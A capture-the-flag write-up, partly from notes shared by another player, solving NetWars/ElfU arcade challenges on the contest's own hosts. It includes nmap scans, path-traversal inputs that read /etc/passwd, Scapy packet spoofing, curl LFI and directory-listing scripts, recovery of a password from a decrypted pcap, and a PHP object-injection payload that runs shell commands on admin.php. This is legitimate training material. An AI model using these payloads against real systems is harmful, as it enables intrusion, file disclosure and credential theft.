13 minute read

I forgot to take notes and someone shared their’s with me. I stopped at “Find the name of the debug PCAP on the web server”

Snaaake

What two, large words appear first when you exit the game? e.g. Elf Terminal

Quit the game through the UI and then:

______             _____                       _
|  _  \           /  __ \                     | |
| | | |_____   __ | /  \/ ___  _ __  ___  ___ | | ___
| | | / _ \ \ / / | |    / _ \| '_ \/ __|/ _ \| |/ _ \
| |/ /  __/\ V /  | \__/\ (_) | | | \__ \ (_) | |  __/
|___/ \___| \_/    \____/\___/|_| |_|___/\___/|_|\___|

NOTE: Disable in production, port 3000

Tools:

* netcat
* openvpn
* nmap

Your IP is 192.168.64.2

What high-numbered port is open on another host in the same /24 network? e.g. 5000

3000

elf@52aadb50d975:~$ nmap -p- -sC -sV 192.168.64.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-14 18:44 UTC
Nmap scan report for 192.168.64.1
Host is up (0.00037s latency).

PORT     STATE SERVICE
3000/tcp open  ppp

Nmap scan report for 52aadb50d975 (192.168.64.2)
Host is up (0.00024s latency).

PORT     STATE  SERVICE
3000/tcp closed ppp

Nmap scan report for 960a1eb2-66db-49ea-9940-d1e5ed6dcdec-1.d4fd3562-d3fe-43ac-9d10-a91e46c3d8c2 (192.168.64.3)
Host is up (0.00021s latency).

PORT     STATE SERVICE
3000/tcp open  ppp

Nmap done: 256 IP addresses (3 hosts up) scanned in 2.85 seconds

What flag is shown when you disable something outside the Snaaake game?

NetWars{ShutItDown}

elf@52aadb50d975:~$ netcat 192.168.64.3 3000
>INFO:OpenVPN Management Interface Version 1 -- type 'help' for more info
help
Management Interface for OpenVPN 2.4.8 x86_64-alpine-linux-musl [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Feb  7 2020
Commands:
auth-retry t           : Auth failure retry mode (none,interact,nointeract).
bytecount n            : Show bytes in/out, update every n secs (0=off).
echo [on|off] [N|all]  : Like log, but only show messages in echo buffer.
exit|quit              : Close management session.
forget-passwords       : Forget passwords entered so far.
help                   : Print this message.
hold [on|off|release]  : Set/show hold flag to on/off state, or
                         release current hold and start tunnel.
kill cn                : Kill the client instance(s) having common name cn.
kill IP:port           : Kill the client instance connecting from IP:port.
load-stats             : Show global server load stats.
log [on|off] [N|all]   : Turn on/off realtime log display
                         + show last N lines or 'all' for entire history.
mute [n]               : Set log mute level to n, or show level if n is absent.
needok type action     : Enter confirmation for NEED-OK request of 'type',
                         where action = 'ok' or 'cancel'.
needstr type action    : Enter confirmation for NEED-STR request of 'type',
                         where action is reply string.
net                    : (Windows only) Show network info and routing table.
password type p        : Enter password p for a queried OpenVPN password.
remote type [host port] : Override remote directive, type=ACCEPT|MOD|SKIP.
proxy type [host port flags] : Enter dynamic proxy server info.
pid                    : Show process ID of the current OpenVPN process.
client-auth CID KID    : Authenticate client-id/key-id CID/KID (MULTILINE)
client-auth-nt CID KID : Authenticate client-id/key-id CID/KID
client-deny CID KID R [CR] : Deny auth client-id/key-id CID/KID with log reason
                             text R and optional client reason text CR
client-kill CID [M]    : Kill client instance CID with message M (def=RESTART)
env-filter [level]     : Set env-var filter level
client-pf CID          : Define packet filter for client CID (MULTILINE)
rsa-sig                : Enter an RSA signature in response to >RSA_SIGN challenge
                         Enter signature base64 on subsequent lines followed by END
certificate            : Enter a client certificate in response to >NEED-CERT challenge
                         Enter certificate base64 on subsequent lines followed by END
signal s               : Send signal s to daemon,
                         s = SIGHUP|SIGTERM|SIGUSR1|SIGUSR2.
state [on|off] [N|all] : Like log, but show state history.
status [n]             : Show current daemon status info using format #n.
test n                 : Produce n lines of output for testing/debugging.
username type u        : Enter username u for a queried OpenVPN username.
verb [n]               : Set log verbosity level to n, or show if n is absent.
version                : Show current version number.
END
signal SIGTERM
SUCCESS: signal SIGTERM thrown
elf@52aadb50d975:~$

     __     _   __    __                 ____ _           _    _____ _      ___                  __
  /\ \ \___| |_/ / /\ \ \__ _ _ __ ___  / / _\ |__  _   _| |_  \_   \ |_   /   \_____      ___ __\ \
 /  \/ / _ \ __\ \/  \/ / _` | '__/ __|| |\ \| '_ \| | | | __|  / /\/ __| / /\ / _ \ \ /\ / / '_ \| |
/ /\  /  __/ |_ \  /\  / (_| | |  \__ < < _\ \ | | | |_| | |_/\/ /_ | |_ / /_// (_) \ V  V /| | | |> >
\_\ \/ \___|\__| \/  \/ \__,_|_|  |___/| |\__/_| |_|\__,_|\__\____/  \__/___,' \___/ \_/\_/ |_| |_| |
                                        \_\                                                      /_/

NetWars{ShutItDown}

SAME

If you type in a bad difficulty level, what is the error type that occurs? (e.g. SparkleTooHighError)

FileNotFoundError

What difficulty level would you like? Options: easy, medium, hard -> super hard
Oops, something went wrong reading the configuration file: FileNotFoundError
[Errno 2] No such file or directory: '/home/same/super hard'

Press ctrl-c to exit

If you load an invalid file using a path traversal, what type of file is it expecting? (e.g. YAML)

JSON

╭─zoey@nomadic ~/netwars
╰─$ nc same.elfu.org 8080
What difficulty level would you like? Options: easy, medium, hard -> ../../etc/passwd
Failed to parse JSON configuration file: <class 'json.decoder.JSONDecodeError'>
Expecting value: line 1 column 1 (char 0)

-- START DEBUG INFORMATION --
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
same:x:1000:1000:,,,:/home/same:/bin/bash
Debian-exim:x:101:101::/var/spool/exim4:/usr/sbin/nologin

-- END DEBUG INFORMATION --

Press ctrl-c to exit

Can you find the full path to the Python script? (e.g. /path/to/file.py)

/home/same/same.py

What is the flag at the top of the Python script? (e.g. NetWars{IHeartChristmas} )

NetWars{you_found_me}

╭─zoey@nomadic /proc/self/cwd
╰─$ nc same.elfu.org 8080
What difficulty level would you like? Options: easy, medium, hard -> ../../proc/self/cmdline
Failed to parse JSON configuration file: <class 'json.decoder.JSONDecodeError'>
Expecting value: line 1 column 1 (char 0)

-- START DEBUG INFORMATION --
python3/home/same/same.py
-- END DEBUG INFORMATION --

Press ctrl-c to exit
╭─zoey@nomadic /proc/self/cwd
╰─$ nc same.elfu.org 8080
What difficulty level would you like? Options: easy, medium, hard -> ../../home/same/same.py
Failed to parse JSON configuration file: <class 'json.decoder.JSONDecodeError'>
Expecting value: line 1 column 1 (char 0)

-- START DEBUG INFORMATION --
#!/usr/bin/env python3

# Flag: NetWars{you_found_me}

import json
import random
import os

Snowball Fight

Win a game of Snowball Fight and submit the flag. (e.g. NetWars{BooYa} )

NetWars{YouSankMyBattlefort}

Win a game of Snowball Fight on Impossible and submit the flag.

You can use chrome to override battlefort.js and look at the websocket network history in dev tools. Change the following source code and it should print out the
forts on the board:

ws.onmessage = function (event) {
  // console.log("Incoming ws: " + event.data);
  var messageIn = JSON.parse(event.data);
  messageIn.Verify =
    "gLtBovwCiHRjhMyop4ixz4ZrY7OtPjIcFJH4z5/++jfdgLV3uWHeQrpH6G/6D8vevy7bDFQLrHTCFNEfid6TMaxLLfjubszh4YWz5gErH4UlpVMC5CtMKqocvB33/Ofuy9JW98syEJ8DlHxjWHIfgnFib+tSbB6Mn3lS2aJs3ecS7X9DcdRBIz5PiuVv8XFLsYxYawNN2/IlSpez3TQq9pitBnfK2OftKy9aQvRVaElxYm/rUmwejJ95UtmibN3nzUhgVN+wSzmAGlhhbU1oobGMWGsDTdvyJUqXs900KvatvHia9fQXrL6BZ2J55TShNmf+fu4R02nzzbTKtgFXI0CS8HrrvB6esG/Uvl8IjY7ECriW/24zy4HqV2SZ5VJz7wh8tgE66H1JGiXbhzVDmxfpDBThRiYLTanqPJxw0Rws3nBVCoE40KiHRjiKOOivKmoUgl+BFH114fWj77UeVQXBywXdmWNPGVMJWeL2KqmX/K3sHDWzMkWORecGv5NIdtTot0OsFopJD4u/3YhSVKvAxr7ydRI/+kDPPD8957yiqXhFtZJU1L+TfFZQDyLvzeMV9WpktxeIwpTdgbyaioVxIZ3SlBKPhx4FSXtepu9TS858j2MkGY+2p1FWc6dCtDLvS+20sYhygmIUG/TQN9ynBU/lNdQGkNKxPp5nX5Cx/91Hb3qtWtvuOUqtkb2v24wI31q87S8WKaoWy93l5tBKjkfv6njkUCPpqPWYmpdb0tWU2D7KbirHuU5h8VzvrmIRDvgv8jnf+WbsajMcvdW0z/QVH9UoOxE8TvajTkbjqaJD7AnI8I7x4++jDFtqhQTvi09iGjTvS8JMHSvDAz/pLd1j6VHfaGGpyy5VI6lIhhilpqOKcFQBGNzfIj153A9370YX9rSTrM8UhRVyafrd1WjoSz8hO3P+Nd2uJEzdhps6dVQeA0FkUcNoJphNES0Ztlx7H1m1fkSRlDRR9Z3YmIapTTBo6eNsVCFWPLbfE3VTXArv2lpN7CpY/YMCyYtSZtjcFSz3AFQsMPFHr2Y5JcM3G4Ewfw8MRlzjGNLcD3fvRhf2tJOszxSFFXJp3YC1d7lh3kK6R+hv+g/L3rbTlTGyoCuyVQpaljvMl1okejtWRmico9wuLYDp7UrGhtvhE6sbmaEm4w59ltMnHUjY4tWdmqcMTS6fx5PzOWIlCWbOnd1qVf26HdnHJyADFgg2N7OjlShcv92EEVYdVfc6YZ54r5Lkt51w7nIyQUWWI1FxYy8eXcpEYURvHqIFojRyV9E6IeLn720WCSjcHoanGqGdpHnYWAGDSDs9T/YgLJiUNHMyhGCL9L+ImIiwWvRejDJIRdIwK9h27OHioSsXoGKat2ELWTootQhmUUg=";

  if (messageIn.Type == "SALUTE") {
    document.getElementById("statusVerify").value = messageIn.Verify;
    for (y = 0; y < messageIn.Status["FriendlyLayout"].length; y++) {
      for (x = 0; x < messageIn.Status["FriendlyLayout"][y].length; x++) {
        if (messageIn.Status["FriendlyLayout"][y][x] == 1) {
          document.getElementById("1," + x + "," + y).classList.add("fort");
        }
      }
    }
    document.getElementById("statusVerify").value = messageIn.Verify;
    for (y = 0; y < messageIn.Status["EnemyLayout"].length; y++) {
      for (x = 0; x < messageIn.Status["EnemyLayout"][y].length; x++) {
        if (messageIn.Status["EnemyLayout"][y][x] == 1) {
          document.getElementById("0," + x + "," + y).classList.add("fort");
        }
      }
    }
  }

Click the forts and you end up with a message:

You win!
You won on impossible! NetWars{YouMustBePeeking

Defeat the Enemy with one shot and submit the flag.

Enemy is very literal here and refers to the actual text on the board which is right above 0,0. So lets entire 0, -1 in and we get the following message
in the console:

NetWars{ThatsOneWayToWin}

Play pawng

Complete the Pawng Scapy Trainer. What’s your certificate ID number?

47150284637509565 – Just go through the training to get it. Look at the scapy docs.

Find the (Get Help) Instruction ID from sending a Scapy packet

The packet is described in broken_controller.py, run tail -F /var/log/pawng.log, and use the python to send the packet

2196517487091929

elfadmin@7fbaa7f9eae5:~$ python3
Python 3.6.9 (default, Apr 18 2020, 01:56:04)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
>>> sr1(IP(dst="127.0.0.1")/UDP(dport=20,sport=5000))
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=1536 id=1 flags= frag=0 ttl=64 proto=udp chksum=0x76ea src=127.0.0.1 dst=127.0.0.1 |<UDP  sport=20 dport=5000 len=1516 chksum=0x5581 |<Raw  load='\xe2\x94\x8d\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x
80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x9
4\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2
\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x91\
n\xe2\x94\x82 ARCADE PAWNG HELP:                                           \xe2\x94\x82\n\xe2\x94\x95\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2
\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\
xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x
80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x99\n1. Get This Help Menu:\n    Send a UDP packet to any 127.0.0.1 w/ a dst UDP port of 20\n
   and src UDP port of 5000.\n2. Move Paddle Up:\n    Send a TCP packet w/ IP dst="127.0.20.180", TCP dport=20, \n    TCP flags="PA", and a TCP raw paylod of load="up".\n3. Move Paddle Down:\n    Send an ICMP echo reply w/ IP dst="127.80
.1.46", and a \n    ICMP raw paylod of load="down".\n4. Change Computer Opponent\'s Difficulty:\n    Send a DNS query response to UDP port 53 with a source \n    port of 6000 to any 127.0.0.1 with a DNS qr=1, DNSQR \n    qname="difficult
y.local", and the DNSRR \n    rrname="difficulty.local" and the DNSRR rdata="100".\nNote: The 100 in rdata="100", specifies difficulty from 0-100.\nNote: Packet protocol details NOT specified above dont matter.\nNote: Results of actions
1-4 are logged to /var/log/pawng.log.\nNote: The first to score 10 points wins. \n\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x8
0\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94
\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\
x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n' |>>>
>>>
KeyboardInterrupt
>>>
KeyboardInterrupt
>>>
elfadmin@7fbaa7f9eae5:~$ cat /var/log/pawng.log
(Get Help) Instruction ID 2196517487091929 Executed
(Get Help) Instruction ID 2196517487091929 Executed
1. Get This Help Menu:
    Send a UDP packet to any 127.0.0.1 w/ a dst UDP port of 20
   and src UDP port of 5000.
2. Move Paddle Up:
    Send a TCP packet w/ IP dst="127.0.20.180", TCP dport=20,
    TCP flags="PA", and a TCP raw paylod of load="up".
3. Move Paddle Down:
    Send an ICMP echo reply w/ IP dst="127.80.1.46", and a
    ICMP raw paylod of load="down".
4. Change Computer Opponent\'s Difficulty:
    Send a DNS query response to UDP port 53 with a source
    port of 6000 to any 127.0.0.1 with a DNS qr=1, DNSQR
    qname="difficulty.local", and the DNSRR
    rrname="difficulty.local" and the DNSRR rdata="100".
Note: The 100 in rdata="100", specifies difficulty from 0-100.
Note: Packet protocol details NOT specified above dont matter.
Note: Results of actions 1-4 are logged to /var/log/pawng.log.
Note: The first to score 10 points wins.

Find the (Move Up) Paddle Instruction ID

9802227387255195

lfadmin@7fbaa7f9eae5:~\$ python3
Python 3.6.9 (default, Apr 18 2020, 01:56:04)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

> > > from scapy.all import\*
> > > sr1(IP(dst="127.0.20.180")/TCP(dport=20,flags="PA")/Raw(load="up"))
> > > Begin emission:
> > > Finished sending 1 packets.
> > > .^C
> > > Received 1 packets, got 0 answers, remaining 1 packets
> > >
> > > elfadmin@7fbaa7f9eae5:~\$ cat /var/log/pawng.log
> > > (Get Help) Instruction ID 2196517487091929 Executed
> > > (Get Help) Instruction ID 2196517487091929 Executed
> > > (Move Up) Paddle Instruction ID 9802227387255195 Executed
> > > (Move Up) Paddle Instruction ID 9802227387255195 Executed

Find the Move Down Instruction

2116779544198846

elfadmin@7fbaa7f9eae5:~$ tail -F /var/log/pawng.log &
[1] 206
elfadmin@7fbaa7f9eae5:~$ (Get Help) Instruction ID 2196517487091929 Executed
(Get Help) Instruction ID 2196517487091929 Executed
(Move Up) Paddle Instruction ID 9802227387255195 Executed
(Move Up) Paddle Instruction ID 9802227387255195 Executed
elfadmin@7fbaa7f9eae5:~\$ python3
Python 3.6.9 (default, Apr 18 2020, 01:56:04)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

> > > from scapy.all import \*
> > > send(IP(dst="127.80.1.46")/ICMP(type="echo-reply")/Raw(load="down"))
> > > .
> > > Sent 1 packets.
> > > (Move Down) Paddle Instruction ID 2116779544198846 Executed

Find the CHange Difficult Instruction ID

8892931792975189

elfadmin@7fbaa7f9eae5:~\$ ./scapy
> > > sr1(IP(dst="127.0.0.1")/UDP(sport=6000, dport=53)/DNS(qr=1,qd=DNSQR(qname="difficulty.local"), an=DNSRR(rrname="difficulty.local", rdata="0")))
> > > Begin emission:
> > > Finished sending 1 packets.
> > > .(Change Difficulty) Instruction ID 8892931792975189 Executed

Win Pawng!

Use the packets above in the source code after copying it into a new file. If you set the difficulty to 0 you’ll just win really quick. The win screen says

Prolific Ping Pawng Pwner

def set_difficulty(GAME_DIFFICULTY="100"):
    send(IP(dst="127.0.0.1")/UDP(sport=6000, dport=53)/DNS(qr=1,qd=DNSQR(qname="difficulty.local"), an=DNSRR(rrname="difficulty.local", rdata="0")), iface="lo", verbose=False)

def paddle_up():
    send(IP(dst="127.0.20.180")/TCP(dport=20,flags="PA")/Raw(load="up"), iface="lo", verbose=False)

def paddle_down():
    send(IP(dst="127.80.1.46")/ICMP(type="echo-reply")/Raw(load="down"), iface="lo", verbose=False)

Elf Invaders

https://www.bram.us/2020/04/08/how-to-enable-http3-in-chrome-firefox-safari/ Enable HTTP3 in firefox

Find the version number of the Cabinet once you see the game. (e.g. 8.675309)

In the source of the main HTML file is

<meta name="description" content="Elf Invaders Version 1.61434327095534551" />

What is the message when you score over 9500? (e.g. That’s over 9500!)

In the hitbox detection function, set player.score = 10000 and then let it resume execution. You eventually make a request to the API that results in a response
with Score Level Over 9000!


Disclosure: I did not complete the challenges below. The following notes are from another player that shared the notes with me.

What’s the date in api.php?

5/1/2019

It looks like there’s an api request with a file. Use the curl version on the elf debug terminal since it has http3 support. Create a script, lfi.sh.

#!/bin/sh
curl --silent --http3 'https://elf-invaders.elfu.org/api.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: https://elf-invaders.elfu.org' -H 'Alt-Used: elf-invaders.elfu.org' -H 'Connection: keep-alive' -H 'Referer: https://elf-invaders.elfu.org/leaderboard.php' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' -H 'TE: Trailers' --data-raw "conf=${1}" | sed -n 's/.*"data":"//p' | sed -n 's/"}//p'
echo ''

We can then use the script to grab stuff

../config/config.json returns a file
../../www/config/config.json
./lfi.sh "../../../var/www/config/config.json" works but /var/www/config/config.json doesn't work
../lfi.sh ../html/api.php

in api.php

<?php
  // Made By Alabaster Snowball on 5/1/2019
  function get_db() {
    $dbname = '/var/www/db/elfinvaders.sqlite';
    if (file_exists($dbname) && filesize($dbname) > 500000) {
      unlink($dbname);
    }

Find the name of the debug PCAP on the web server.

Looking in api.php, we can do directory listings too with list= as the payload. Create dir.sh:

#!/bin/sh
curl --silent --http3 'https://elf-invaders.elfu.org/api.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: https://elf-invaders.elfu.org' -H 'Alt-Used: elf-invaders.elfu.org' -H 'Connection: keep-alive' -H 'Referer: https://elf-invaders.elfu.org/leaderboard.php' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' -H 'TE: Trailers' --data-raw "list=${1}"
echo ''

We can use this to list files and find there’s a file adminlogin_debug.pcap.

Find Alabaster’s password. (e.g. DirectReindeerFlatteryStable)

Grabbing the adminlogin_debug.client_random and using it in wireshark to decrypt the QUIC in the pcap we find some payloads:

@Ç(ÍðôÒ¹~îåÚ6¡GREASE is the word,ÔQ`rRj®zÿ×P¢\.®Ã_P%¶Pë¸úàZþ?ÝTqÿï@Eusername=alabaster_snowball&password=4084072e86e12aabef9ace3e39145ba3

Entering 4084072e86e12aabef9ace3e39145ba3 as the flag works.

Update the cabinet’s firmware and retrieve the new version number.

People left files sitting around so I found this without doing what’s intended, just the LFI and directory listing, but I did most of the object injection anyways.

2.11516925085506347

get_auth_cookie.sh

#!/bin/sh
curl -v --http3 'https://elf-invaders.elfu.org/admin.php' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: https://elf-invaders.elfu.org' -H 'Alt-Used: elf-invaders.elfu.org' -H 'Connection: keep-alive' -H 'Referer: https://elf-invaders.elfu.org/leaderboard.php' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' -H 'TE: Trailers' --data-raw "username=alabaster_snowball&password=4084072e86e12aabef9ace3e39145ba3" 2>&1 | grep "set-cookie" | sed -E "s/.*elfinv=([a-zA-Z0-9._-]+);.*/\1/"

php for generating the object injection

<?php
  class OldAdminMethod
  {
    // Will remove this later after testing more secure new admin class
    public $command;
    public $logname;

    function __construct($cmd="", $log='/var/www/db/cmdhist.log')
    {
      $this->command = $cmd;
      $this->logname = $log;
    }

    public function readlog() {
      if (file_exists($this->logname) && is_readable($this->logname)) {
        return preg_replace( '/[^[:print:]\r\n\t]/', '', file_get_contents($this->logname));
      }
    }

    function __destruct()
    {
      $stdout = shell_exec($this->command);
      if (strlen($stdout)) {
        if (is_writable(dirname($this->logname))) {
          file_put_contents($this->logname, "{$this->command}\n$stdout");
        }
      }
    }
  }

$file = '/var/www/db/cmdhist.log';
$oldAdminMethod = new OldAdminMethod('/usr/bin/firmwareupdate', $file);
echo "'" . serialize($oldAdminMethod) . "'";
echo "\n";

generates

'O:14:"OldAdminMethod":2:{s:7:"command";s:2:"ls";s:7:"logname";s:23:"/var/www/db/cmdhist.log";}'

Then we can use the cookie and the above to generate a request to admin.php to do command injection via the object injection. When instantiating the class
the constructor and then the destructor will be called.

curl -v --http3 'https://elf-invaders.elfu.org/admin.php' -H "Cookie:
elfinv=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWxhYmFzdGVyX3Nub3diYWxsIiwiZXhwaXJlcyI6MTU4OTY3Mjc3NiwiZXhwIjozMTc5MjU5MTUyfQ.fwQJ4c-jpMHxG7_H_4uT82368Xb9DnE1LhhE0HcX03k" -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: https://elf-invaders.elfu.org' -H 'Alt-Used: elf-invaders.elfu.org' -H 'Connection: keep-alive' -H 'Referer: https://elf-invaders.elfu.org/leaderboard.php' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' -H 'TE: Trailers' --data-raw 'method=read_file&arguments=O:14:"OldAdminMethod":2:{s:7:"command";s:23:"/usr/bin/firmwareupdate";s:7:"logname";s:23:"/var/www/db/cmdhist.log";}'

Then we should be able to use LFI to get the log.

elfuser@bdd5e02ba86f:~\$ ./lfi.sh ../db/cmdhist.log | xxd -r -p
/usr/bin/firmwareupdate
Firmware Updated - Elf Invader Version 2.11516925085506347